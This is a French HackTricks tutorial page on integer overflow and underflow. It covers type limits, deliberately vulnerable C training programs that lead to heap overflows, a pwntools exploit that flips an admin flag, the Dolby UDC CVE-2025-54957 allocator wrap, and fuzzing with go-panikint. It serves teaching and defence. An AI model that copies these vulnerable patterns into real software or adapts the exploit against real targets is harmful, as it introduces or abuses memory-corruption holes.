Integer Overflow
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Au cœur d’un integer overflow se trouve la limitation imposée par la taille des types de données en programmation et par l’interprétation des données.
Par exemple, un 8-bit unsigned integer peut représenter des valeurs de 0 to 255. Si vous essayez de stocker la valeur 256 dans un 8-bit unsigned integer, elle revient à 0 à cause de la limitation de sa capacité de stockage. De même, pour un 16-bit unsigned integer, qui peut contenir des valeurs de 0 to 65,535, ajouter 1 à 65,535 ramènera la valeur à 0.
De plus, un 8-bit signed integer peut représenter des valeurs de -128 to 127. Cela s’explique par le fait qu’un bit est utilisé pour représenter le signe (positif ou négatif), laissant 7 bits pour la magnitude. Le nombre le plus négatif est représenté par -128 (binary 10000000), et le plus positif par 127 (binary 01111111).
Max values for common integer types:
| Type | Taille (bits) | Valeur min | Valeur max |
|---|---|---|---|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
Un short équivaut à un int16_t, un int équivaut à un int32_t et un long équivaut à un int64_t sur les systèmes 64bits.
Valeurs maximales
Pour les potentielles vulnérabilités web il est très intéressant de connaître les valeurs maximales supportées :
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
Exemples
Pure overflow
Le résultat affiché sera 0 car nous overflowed the char:
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
Conversion d’un entier signé vers non signé
Considérez une situation où un entier signé est lu depuis l’entrée utilisateur puis utilisé dans un contexte qui le traite comme un entier non signé, sans validation appropriée :
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
Dans cet exemple, si un utilisateur saisit un nombre négatif, il sera interprété comme un grand entier non signé en raison de la manière dont les valeurs binaires sont interprétées, ce qui peut entraîner un comportement inattendu.
macOS Overflow Example
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
Compilez-le avec :
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
Exploit
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
macOS Underflow Exemple
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
Compilez-le avec :
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
Allocator alignment rounding wrap → undersized chunk → heap overflow (cas Dolby UDC)
Certains allocateurs personnalisés arrondissent les allocations vers l’alignement sans re-vérifier le overflow. Dans le Dolby Unified Decoder (Pixel 9, CVE-2025-54957), emdf_payload_size contrôlé par l’attaquant (décodé avec une boucle non bornée variable_bits(8)) est fourni à ddp_udc_int_evo_malloc:
size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;
Pour des valeurs 64 bits proches de 0xFFFFFFFFFFFFFFF9, (8 - total_size) % total_size fait déborder l’addition et produit un très petit total_size même si le alloc_size logique reste énorme. L’appelant écrit ensuite payload_length bytes dans le chunk retourné :
buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf(); // writes past tiny chunk
}
Pourquoi exploitation is reliable in this pattern :
- Overflow length control: Les octets sont fournis par un reader limité par une autre longueur choisie par l’attaquant (
emdf_container_length), donc l’écriture s’arrête après N octets au lieu de pulvériserpayload_length. - Overflow data control: Les octets écrits au-delà du chunk sont entièrement fournis par l’attaquant depuis le payload EMDF.
- Heap determinism: L’allocateur est un per-frame bump-pointer slab sans frees, donc l’adjacence des objets corrompus est prévisible.
Autres exemples
-
https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
-
Only 1B is used to store the size of the password so it’s possible to overflow it and make it think it’s length of 4 while it actually is 260 to bypass the length check protection
-
https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html
-
Étant donné quelques nombres, trouver à l’aide de z3 un nouveau nombre qui multiplié par le premier donnera le second :
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
- https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/
- Only 1B is used to store the size of the password so it’s possible to overflow it and make it think it’s length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
Détection d’integer overflow en Go avec go-panikint
Go wrappe silencieusement les entiers. go-panikint est une toolchain Go forkée qui injecte des vérifications SSA d’overflow de sorte que les opérations arithmétiques qui wrapent appellent immédiatement runtime.panicoverflow() (panic + stack trace).
Pourquoi l’utiliser
- Rend les débordements/tronquages atteignables en fuzzing/CI car les opérations arithmétiques qui wrapent provoquent maintenant un crash.
- Utile autour de la pagination contrôlée par l’utilisateur, des offsets, des quotas, des calculs de taille ou des calculs de contrôle d’accès (par ex.,
end := offset + limitsuruint64qui wrappe quand petit).
Compilation et utilisation
git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness
Exécutez ce binaire go forké pour les tests/fuzzing afin de faire apparaître les overflows sous forme de panics.
Gestion du bruit
- Les contrôles de troncature (casts vers des entiers plus petits) peuvent générer beaucoup de bruit.
- Supprimez les wrap-around intentionnels via des filtres de chemin source ou des commentaires inline
// overflow_false_positive/// truncation_false_positive.
Exemple réel
go-panikint a mis au jour un overflow de pagination uint64 dans Cosmos SDK : end := pageRequest.Offset + pageRequest.Limit a débordé au-delà de MaxUint64, renvoyant des résultats vides. L’instrumentation a transformé ce wrap silencieux en un panic que les fuzzers ont pu minimiser.
ARM64
Cela ne change pas sur ARM64 comme vous pouvez le voir dans this blog post.
Références
- Detect Go’s silent arithmetic bugs with go-panikint
- go-panikint (compiler fork)
- Pixel 0-click – CVE-2025-54957 allocator wrap → heap overflow
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


